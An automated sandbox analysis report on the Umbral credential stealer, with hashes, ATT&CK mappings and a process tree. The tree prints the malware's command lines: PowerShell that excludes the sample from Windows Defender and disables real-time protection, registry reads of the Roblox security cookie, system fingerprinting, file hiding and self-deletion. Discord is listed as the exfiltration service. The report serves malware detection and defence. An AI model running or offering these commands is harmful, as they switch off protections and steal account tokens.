umbral | 61a29cd27dd6aeac57e0ca467a3f87a04e4a7a122434d5db495cf34c7097f9e8

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/03/2025, 20:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.exe
Size

229KB
MD5

fdb6c9cdf5605efda3e45942dad869d4
SHA1

8022afe157b98ad5fd5ead6f17ce35caff40b168
SHA256

bea3c8ebdb0c815aff349ef6ad6f0d92751ae62e4ced9ac2c68582d4e9d1c0af
SHA512

434a552c3dbdf7024f4a557ce9f01f755037aa303da03ed7752c9d1acd6c5fa050deef34983c7f491237a5c7adb3317db279b6e8e0bd3dab8bc0547dc031455e
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4ggxVFzQEbsCzFQMpf7b8e1mAUi:noZ1L+EP8ggxVFzQEbsCzFQMpXz

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1628-1-0x00000000001F0000-0x0000000000230000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe
2288	powershell.exe
2608	powershell.exe
1992	powershell.exe

Deletes itself 1 IoCs

pid	Process
1008	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1008	cmd.exe
1200	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2532	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1200	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2652	powershell.exe
2288	powershell.exe
2608	powershell.exe
2224	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	Umbral.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	1672	wmic.exe
Token: SeSecurityPrivilege	1672	wmic.exe
Token: SeTakeOwnershipPrivilege	1672	wmic.exe
Token: SeLoadDriverPrivilege	1672	wmic.exe
Token: SeSystemProfilePrivilege	1672	wmic.exe
Token: SeSystemtimePrivilege	1672	wmic.exe
Token: SeProfSingleProcessPrivilege	1672	wmic.exe
Token: SeIncBasePriorityPrivilege	1672	wmic.exe
Token: SeCreatePagefilePrivilege	1672	wmic.exe
Token: SeBackupPrivilege	1672	wmic.exe
Token: SeRestorePrivilege	1672	wmic.exe
Token: SeShutdownPrivilege	1672	wmic.exe
Token: SeDebugPrivilege	1672	wmic.exe
Token: SeSystemEnvironmentPrivilege	1672	wmic.exe
Token: SeRemoteShutdownPrivilege	1672	wmic.exe
Token: SeUndockPrivilege	1672	wmic.exe
Token: SeManageVolumePrivilege	1672	wmic.exe
Token: 33	1672	wmic.exe
Token: 34	1672	wmic.exe
Token: 35	1672	wmic.exe
Token: SeIncreaseQuotaPrivilege	1672	wmic.exe
Token: SeSecurityPrivilege	1672	wmic.exe
Token: SeTakeOwnershipPrivilege	1672	wmic.exe
Token: SeLoadDriverPrivilege	1672	wmic.exe
Token: SeSystemProfilePrivilege	1672	wmic.exe
Token: SeSystemtimePrivilege	1672	wmic.exe
Token: SeProfSingleProcessPrivilege	1672	wmic.exe
Token: SeIncBasePriorityPrivilege	1672	wmic.exe
Token: SeCreatePagefilePrivilege	1672	wmic.exe
Token: SeBackupPrivilege	1672	wmic.exe
Token: SeRestorePrivilege	1672	wmic.exe
Token: SeShutdownPrivilege	1672	wmic.exe
Token: SeDebugPrivilege	1672	wmic.exe
Token: SeSystemEnvironmentPrivilege	1672	wmic.exe
Token: SeRemoteShutdownPrivilege	1672	wmic.exe
Token: SeUndockPrivilege	1672	wmic.exe
Token: SeManageVolumePrivilege	1672	wmic.exe
Token: 33	1672	wmic.exe
Token: 34	1672	wmic.exe
Token: 35	1672	wmic.exe
Token: SeIncreaseQuotaPrivilege	2912	wmic.exe
Token: SeSecurityPrivilege	2912	wmic.exe
Token: SeTakeOwnershipPrivilege	2912	wmic.exe
Token: SeLoadDriverPrivilege	2912	wmic.exe
Token: SeSystemProfilePrivilege	2912	wmic.exe
Token: SeSystemtimePrivilege	2912	wmic.exe
Token: SeProfSingleProcessPrivilege	2912	wmic.exe
Token: SeIncBasePriorityPrivilege	2912	wmic.exe
Token: SeCreatePagefilePrivilege	2912	wmic.exe
Token: SeBackupPrivilege	2912	wmic.exe
Token: SeRestorePrivilege	2912	wmic.exe
Token: SeShutdownPrivilege	2912	wmic.exe
Token: SeDebugPrivilege	2912	wmic.exe
Token: SeSystemEnvironmentPrivilege	2912	wmic.exe
Token: SeRemoteShutdownPrivilege	2912	wmic.exe
Token: SeUndockPrivilege	2912	wmic.exe
Token: SeManageVolumePrivilege	2912	wmic.exe
Token: 33	2912	wmic.exe
Token: 34	2912	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 2740	1628	Umbral.exe	31
PID 1628 wrote to memory of 2740	1628	Umbral.exe	31
PID 1628 wrote to memory of 2740	1628	Umbral.exe	31
PID 1628 wrote to memory of 2652	1628	Umbral.exe	33
PID 1628 wrote to memory of 2652	1628	Umbral.exe	33
PID 1628 wrote to memory of 2652	1628	Umbral.exe	33
PID 1628 wrote to memory of 2288	1628	Umbral.exe	35
PID 1628 wrote to memory of 2288	1628	Umbral.exe	35
PID 1628 wrote to memory of 2288	1628	Umbral.exe	35
PID 1628 wrote to memory of 2608	1628	Umbral.exe	37
PID 1628 wrote to memory of 2608	1628	Umbral.exe	37
PID 1628 wrote to memory of 2608	1628	Umbral.exe	37
PID 1628 wrote to memory of 2224	1628	Umbral.exe	39
PID 1628 wrote to memory of 2224	1628	Umbral.exe	39
PID 1628 wrote to memory of 2224	1628	Umbral.exe	39
PID 1628 wrote to memory of 1672	1628	Umbral.exe	41
PID 1628 wrote to memory of 1672	1628	Umbral.exe	41
PID 1628 wrote to memory of 1672	1628	Umbral.exe	41
PID 1628 wrote to memory of 2912	1628	Umbral.exe	44
PID 1628 wrote to memory of 2912	1628	Umbral.exe	44
PID 1628 wrote to memory of 2912	1628	Umbral.exe	44
PID 1628 wrote to memory of 712	1628	Umbral.exe	46
PID 1628 wrote to memory of 712	1628	Umbral.exe	46
PID 1628 wrote to memory of 712	1628	Umbral.exe	46
PID 1628 wrote to memory of 1992	1628	Umbral.exe	48
PID 1628 wrote to memory of 1992	1628	Umbral.exe	48
PID 1628 wrote to memory of 1992	1628	Umbral.exe	48
PID 1628 wrote to memory of 2532	1628	Umbral.exe	50
PID 1628 wrote to memory of 2532	1628	Umbral.exe	50
PID 1628 wrote to memory of 2532	1628	Umbral.exe	50
PID 1628 wrote to memory of 1008	1628	Umbral.exe	52
PID 1628 wrote to memory of 1008	1628	Umbral.exe	52
PID 1628 wrote to memory of 1008	1628	Umbral.exe	52
PID 1008 wrote to memory of 1200	1008	cmd.exe	54
PID 1008 wrote to memory of 1200	1008	cmd.exe	54
PID 1008 wrote to memory of 1200	1008	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2224
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2532
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5d043b85b13532d97adc68866fb9b81d

SHA1
22f40fee965ed436aaffef0a9e75e71b0f0cc4ed

SHA256
ec8172742afc05bb656f373b54f4d28def10bf8e9d4d3cfba2e51d602a319c76

SHA512
722b6a0be3f24d329806c8fc8eca6de180627f78ebc81ccece8061521e4fcaeefdcb9ec81b1a71d2c9c147ce6c955b39b8833e35676967da792d0d60436c5c29

Download Submit
memory/1628-1-0x00000000001F0000-0x0000000000230000-memory.dmp

Filesize
256KB

Download
memory/1628-2-0x000007FEF5B70000-0x000007FEF655C000-memory.dmp

Filesize
9.9MB

Download
memory/1628-56-0x000007FEF5B70000-0x000007FEF655C000-memory.dmp

Filesize
9.9MB

Download
memory/1628-51-0x000007FEF5B73000-0x000007FEF5B74000-memory.dmp

Filesize
4KB

Download
memory/1628-0-0x000007FEF5B73000-0x000007FEF5B74000-memory.dmp

Filesize
4KB

Download
memory/1628-52-0x000007FEF5B70000-0x000007FEF655C000-memory.dmp

Filesize
9.9MB

Download
memory/1992-50-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2288-22-0x0000000002800000-0x0000000002808000-memory.dmp

Filesize
32KB

Download
memory/2288-21-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2652-9-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2652-15-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-14-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-13-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-12-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-11-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-10-0x000007FEED3D0000-0x000007FEEDD6D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-8-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2652-7-0x000007FEED68E000-0x000007FEED68F000-memory.dmp

Filesize
4KB

Download